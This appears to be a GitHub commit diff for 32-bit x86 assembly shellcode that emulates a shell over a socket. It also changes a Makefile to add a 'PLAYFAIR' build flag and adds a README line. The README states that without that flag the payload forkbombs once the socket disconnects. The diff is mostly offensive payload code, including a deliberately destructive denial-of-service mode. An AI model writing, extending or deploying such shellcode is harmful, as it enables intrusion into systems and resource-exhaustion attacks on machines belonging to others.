File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -4,14 +4,16 @@ INCLUDEDIR = ../include/
44INCLUDE = -I $(INCLUDEDIR ) -I $(RUNTIMEDIR )
55CFLAGS = -m32 $(INCLUDE )
66SFLAGS = -D INT80
7+ PLAYFAIR = -D PLAYFAIR
8+
79
810TARGET =shell32.s
911
1012all : assemble link
1113
1214assemble : $(TARGET )
13- nasm -f elf $(TARGET ) $(INCLUDE ) -o shellcode.o $(SFLAGS )
14- nasm $(TARGET ) $(INCLUDE ) -o shellcode $(SFLAGS )
15+ nasm -f elf $(TARGET ) $(INCLUDE ) -o shellcode.o $(SFLAGS ) $( PLAYFAIR )
16+ nasm $(TARGET ) $(INCLUDE ) -o shellcode $(SFLAGS ) $( PLAYFAIR )
1517
1618link : $(TARGET )
1719 gcc shellcode.o $(CFLAGS ) -o test_shellcode
Original file line number Diff line number Diff line change 1+ 32bit shell emulating payload will close gracefully when assembled with -D PLAYFAIR (Check makefile)
2+ If playfair is not defined, the payload will forkbomb when the socket is disconnected
Original file line number Diff line number Diff line change 11 ;; Evan Jensen 32bit shell emulating shellcode
22 ;;
3-
3+ BITS 32
44 %include "short32.s"
55 %include "syscall.s"
66 %define BUFFERLEN 0x1ff
77
88 global main
99
1010main:
11-
12- do_fork:
13-
14- SYSTEM_CALL(fork)
15- test eax , eax
16- jz short child
17- parent:
18- push byte 0
19- push byte 0
20- push byte 0
21- pop ebx
22- pop ecx
23- pop edx
24- SYSTEM_CALL(waitpid)
25- jmp short do_fork
26- child:
27- cld
2811
2912get_input:
3013 xor eax , eax
3114 cdq
3215 mov dx , BUFFERLEN
33- sub esp , edx
3416 mov ecx , esp
3517 xor ebx , ebx
3618 SYSTEM_CALL(read)
3719 mov ebp , eax
3820 test eax , eax
39- jz short do_exit ;synchronous IO or GTFO
40- mov byte [ eax + esp - 1 ], 0
21+
22+ %ifdef PLAYFAIR
23+ jz short do_exit ;test if socket is closed
24+ %endif
25+ mov byte [ esp + eax - 1 ], 0
26+
4127
28+ do_fork:
29+
30+ SYSTEM_CALL(fork)
31+ test eax , eax
32+ jz short child
33+ parent:
34+ xor ebx , ebx
35+ xor ecx , ecx
36+ xor edx , edx
37+ SYSTEM_CALL(waitpid)
38+ jmp short main
4239
43- ;; push eax ;return of read pushed by get_input
44- ;; pop ecx
40+ child:
4541
42+ cld
4643 ;let's parse the arguments here
47- xchg eax , ecx
44+
45+ %ifndef PLAYFAIR
46+ test ebp , ebp ;return of read
47+ jz short do_fork
48+ %endif
49+
50+ parse:
51+ mov ecx , ebp
4852 push byte " "
4953 pop eax ;space used for inlined strchr
5054 mov ebx , esp
5155 cdq ;msb of eax is zero so this is ok
5256
53- add esp , BUFFERLEN ;space for argv[]
57+ sub esp , BUFFERLEN ;space for argv[]
5458add_token: ;; calculate the pointerp to push
5559
5660 mov esi , ebp
You can’t perform that action at this time.
0 commit comments